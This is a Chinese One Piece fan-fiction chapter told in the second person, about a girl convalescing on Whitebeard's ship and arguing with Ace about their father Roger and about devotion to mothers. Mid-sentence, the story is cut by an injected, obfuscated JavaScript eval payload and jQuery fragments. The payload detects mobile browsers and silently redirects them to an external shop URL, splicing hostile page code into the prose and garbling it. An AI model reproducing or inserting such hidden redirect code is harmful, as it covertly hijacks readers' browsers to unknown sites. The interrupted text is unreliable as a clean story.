你活了下来。
在艾斯甚平比斯塔他们不断劝说下还有来自白胡子对你的网开一面,你保住了性命。只是纽盖特不允许你再在他的船上使用霸气,你暂时被留在了船上。
躺在床褥上,你双眼放空望着天花板。你已经很多年没有住过这样庞大的船舰,船在晃,不是你躺在小帆船里风浪来时剧烈的摇摆,而是一种极细微的晃动就好像鲸鱼正在呼吸。
这是海的惯性。你第一次生活在船上还是跟着罗西南迪和罗,你们在帆船上依偎,他宽阔的怀抱会紧紧抱住你们,让你最先感受到的不是变化的海浪是罗西南迪强健的心跳。后来在堂吉诃德家族,有baby5的陪伴你度过每一个夜晚。在阿德莱德港口的军舰上,也是谢尔第一个和你解释,踩在船上是需要调整重心的。
船身会随着海面微微起伏,甲板在人的脚下悄无声息地倾斜又回正。你从此走上几步就会不自觉地调整重心,像学着走在一条活物的脊背上。住上几天之后,你的身体会记住那种频率,就像记住了罗西南迪的心跳。谢尔女士和你说过,在船上呆久了有时候站在地面上,也会觉得地面在晃。
她说这就是海的惯性。
船上的一切都在动。床永远在轻轻地荡,电灯的光晕在木壁上摇来摇去,桌子上的水杯不会老老实实地待在原地,它会慢慢地、一寸一寸地滑向桌沿,然后被旁边的人伸出手接住。
玻璃没有碎裂,你扭过头去,看见倾斜的人影向你走来,窄而韧的腰身上有着清晰的肌肉纹理,腹外斜肌像被人拉满的弓弦紧绷,在裤腰上有两道斜斜的沟壑隐入其下。
你抬眼看,他端着水杯坐在了床侧,脸对着你。
漆黑微卷的头发,五官线条凌厉,两道修长入鬓的眉毛高挑,有着深邃的双眼皮褶皱,深色的瞳孔和大半的眼白让他的目光锐利冷淡。就是这样利落俊朗的的脸上却长着一片雀斑,褐色的比眼睛颜色浅落在小麦色的脸上是显眼的。
你们两个人都互相端详着,只是你的目光更加不加掩饰。
艾斯嘴角下撇,心里有些异样,“一直看着我做什么……我可不是他们说的那样,在老爹面前求情也只不过是看在你和我弟弟……”一样大。他想这样说,可是你的年纪好像应该是比他还大一些的,老爹他们都不清楚你现在这样究竟是几岁,马尔科跟他说也许是吃了恶魔果实会往回生长。
就算作你和路飞同龄好了。艾斯咳嗽了一声,想接着说些什么。
“我也不喜欢你。”你很快就打断了他的话。比艾斯表现出来的还要更冷漠,即使你睡在艾斯的床上,这两天也是艾斯给你送来物资和食物。
艾斯撇过头,把水杯放到了床头,碰的一声脆响,“真没礼貌啊。”
你从见到艾斯的第一眼你就讨厌这个家伙,你从来都是平等对待所有人的,前提是这个人没有透露出你讨厌的特质。艾斯就是一个极度矛盾又自以为是的家伙,他冲出来想要救你时眼里的惊惶被你看见了。
他总是扭过头用一种试图关切你可是在纽盖特的凝视下又总是羞愧地低下头不去看你。喜欢吗?如果是这样脆弱的话,那还是不要喜欢你吧。
他问你,“要去找老爹吗?”
你从船上翻身而起,在纽盖特的霸气里受伤,身体恢复的速度也变得缓慢。躺了几天才感觉到骨头在重新接上,外面的皮肉却都是愈合了的。
艾斯看见你站起来,伸手想要来扶你可是想到你刚刚完全疏离的态度刚刚伸出的手又扶在了头上,今天忘记戴帽子了。他干脆抓了抓头发,粗硬的发质因此变得更加凌乱。
看着你根本没打算等候他的背影,“这次可别惹老爹生气了啊。”
跟在你身后,门被打开。甲板上的总是充斥着各种声音,木板被人踩着发出轻微的嘎吱声、脚步声,更多的还是人的声音。你随着船舱外的楼梯往上走,日光也映在你的脸上,外面的人声嘈杂是没有纪律的喊叫、笑闹。人们对话争论高歌,白胡子的船上船员们总是能够融洽的不分高低,从前几天白胡子询问船员的意见就发现了。所有人都可以说话,以船长的儿子、大家的兄弟的身份。
你的脚步还有些迟缓,走在甲板上周围人的声音也变低了,他们都注视着你还有艾斯。对于你的观感是复杂的,可是老爹都已经放话把你当个过客对待那就不需要有其他的限制了。
“哟,小妹妹终于出门了啊。最近胃口还好吗?艾斯给你带回去的那一大盆肉是不是都是被他自己吃了哈哈哈哈。”站在你面前的是健硕高大的,穿这一身厨师装,卷着袖子手里抱着一大袋食材,看见你和你热情地打着招呼。
精心打理过的发型是一丝不苟,下巴留着黑色的三角胡,脸上带着和煦的微笑,就把你当作是朋友一样。
“早安先生,承蒙您的关照。”你向他点头致意,在他愈发和蔼的目光下。
萨奇发出一串笑声,空出一只手轻轻拍了拍你的后背,“真是个有礼貌的孩子,这点上和艾斯很像呢。也难怪他会喜欢你。”
“喂。”艾斯有些羞恼,船上的人最近几天老是拿你开他玩笑,他都后悔自己当时为什么会顺口说出那种话。彻底乱了你们的关系。
在人前你没有直白说出对艾斯的看法,反而顺着萨奇的赞扬 ,“我也非常感谢艾斯先生的照顾,如果没有他也许真的会惹怒纽盖特大人。”你又露出了一个羞怯的微笑。
因为消瘦的脸庞显得更加柔软无害,像一株水生的花朵在风中摇曳。
“你……”艾斯对你态度的突然转变有些反应不过来,善变的女人,“赶紧去找老爹。”他有些气闷,拽着你的左手和萨奇简单打个招呼就要往船长室去。
他的手很热,握着你的手腕的力度却很轻。从他掌心指尖传来的温度为你新生麻痹的骨肉带来暖意,算是舒服的,你也就没有抽回手。于是一路上你和艾斯都在那些船员暧昧不清的笑容里经受目光的洗礼。
艾斯身上的温度却越来越高,你感觉你都开始出汗了。他加快脚步远离那些可恶的家伙们的视线范围,拉着你走到老爹的船舱,轻轻叩响了门。
你的手也在他的掌心里轻轻扭动,他回头看了你一眼就松开了手。看着你表面泛红的手,艾斯甚至干脆扭过头去不看你。你们一高一低站在门前,马尔科来给你们开了门。
他带着听诊器,船长室里还围着几个年轻靓丽的护士正在给纽盖特扎针,好声好气哄着老爹不要晚上偷偷喝酒了。纽盖特也是哈哈一笑,只告饶让她们别再念了却不肯答应她们的请求。
“老爹,艾斯她们来了。”
纽盖特暗金色的瞳孔里是你和艾斯的身影。
“所以你现在知道你们的身世了吧,你们是异母同父的家人。”纽盖特坐着,大手支着下巴总觉得无所适从嘴里应该喝点什么东西。而马尔科还站在身边给他记录着各项指标,替护士们完成最后的一针注射药剂。
艾斯斜眼偷觑着你,却发现你面无表情甚至连气息都没有过变化。难道就一点也不惊奇吗?你们的父亲是那个海贼王,那个男人仅仅是占据了他身体一半的血液就将他的从前压得喘不过气来。
艾斯想到罗杰,胸口就怀着一口吐不出的浊气,上不来下不去只有不停起伏胸膛才能够缓解这种遗恨,“那个混蛋,竟然同时间欺骗了两个女人……”妈妈,想到了妈妈——波
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910136|213094||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
特卡斯·D·露玖,一个笨女人带着对罗杰的爱和对腹中胎儿的守护整整坚持了两年,耗尽了全部气血生下了他。
而罗杰却把这样伟大的女人背叛。不可饶恕。艾斯攥紧了拳头,身体上燃起了火。
“我可不认为我的妈妈被欺骗了。”你的话语轻飘飘像一盆冷水,没有同仇敌忾,只要冷眼,“如果我的父亲真的是他的话,那也只是妈妈为了生下我的一个选择而已。一个声名狼藉却威赫一时的枭雄。”
“你身上流着他肮脏的血也不在乎?”
你正面看向艾斯,这个可怜愚钝的男人啊,他根本不会明白女人的爱多么广阔,“可是我身上流着的还有我妈妈的血,因为厌恶一个男人也要一起嫌恶自己的全部吗。要知道生命是妈妈赐予的,妈妈生下了我,我也只会是她的骨肉。”
艾斯沉默,他是第一次听到了这样的论断,关于独属于女性的血脉继承。“哪怕让你被迫背负他的罪恶也一样无所谓吗?”
“我愿意承担给我生命的妈妈的罪孽,但对从来没出现过死掉了的父亲吗,我从来不在乎他的存在,他的骂名对我而言也不会是负担。”海贼王也好,普通平民或者是天龙人贵族,不管是什么身份都比不上你的妈妈。
“艾斯,一个无法全心深爱妈妈的人是要向自己的□□歉的。爱她所爱,如果想恨至少是去消灭掉她的遗憾而不是自怨自艾。”你真的有些可怜这个孩子,被困在海贼王之子的身份里太久了吗?他明明也不姓哥尔多啊。
纽盖特一直保持着缄默,看着你们两个人的对话,他的视线从矛盾的艾斯扫到你身上,你说的这些话他觉得很熟悉,“是你妈妈教你的吗?”说完又想起来你失忆了完全忘了关于天龙人的记忆,也自然忘记了和瓦莱里亚的相处。
“这难道不是常识吗,人是被母亲生下的。所以我才说纽盖特大叔你不如去做女人吧,像玲玲一样也会有很多的孩子,但一个就好,把所有的爱给一个孩子,孩子们也不需要为了争夺大人的爱烦恼。就像我妈妈对我一样,父亲什么的根本不重要吧。”年轻的瓦莱里亚这样说。
你说:“妈妈不需要教我这些,这难道不是真理吗?女人给予孩子生命,倾注了期待和爱,我作为孩子连感激和守护都做不到的话,那我的生命将毫无意义。”
纽盖特笑了,就连马尔科站在一边写记录脸上也牵动起一丝笑意。总把妈妈挂在嘴边的小鬼,看起来天真幼稚,却能够真正做到她妈妈曾经的誓言“为妈妈而战。”
这就是血缘的力量吗?纽盖特想。
瓦莱里亚如果你看见这样的孩子,是会先感到欣慰还是羞愧自己做出了错误的示范呢?私人的爱塑造了你的孩子,可是没有引导这样的爱只会使她走向深渊。
“假如爱你照顾你的人不是生下你的人呢?”马尔科也来了兴致,他眉眼弯弯,问着。
你沉默了。身边的艾斯握紧了拳头,坚定地说,“那也是对我恩重如山的母亲,我会向爱我的亲生母亲一样爱她。”达旦老妈的项链至今还挂在他的脖颈。
真的可以吗?你抬起来看着身边男人的侧脸,他的爱难道没有排他性的吗?妈妈给了你生命,你不也应当付出对等的爱吗?
相应的,妈妈不也该只爱你一个人,只为你一个人活吗?
宽恕我的一切。
谁都无法做到,海燕岛的妈妈接受不了我的生长、谢尔女士接受不了我的残忍,罗西南迪……他无法接受的是我太爱他了,爱到无视了所有。可她们都不是我真正的的妈妈,所以她们就不重要了。
即使你知道罗西南迪是爱你的,他的爱是正义的,容不下罪恶的你,你玷污了他。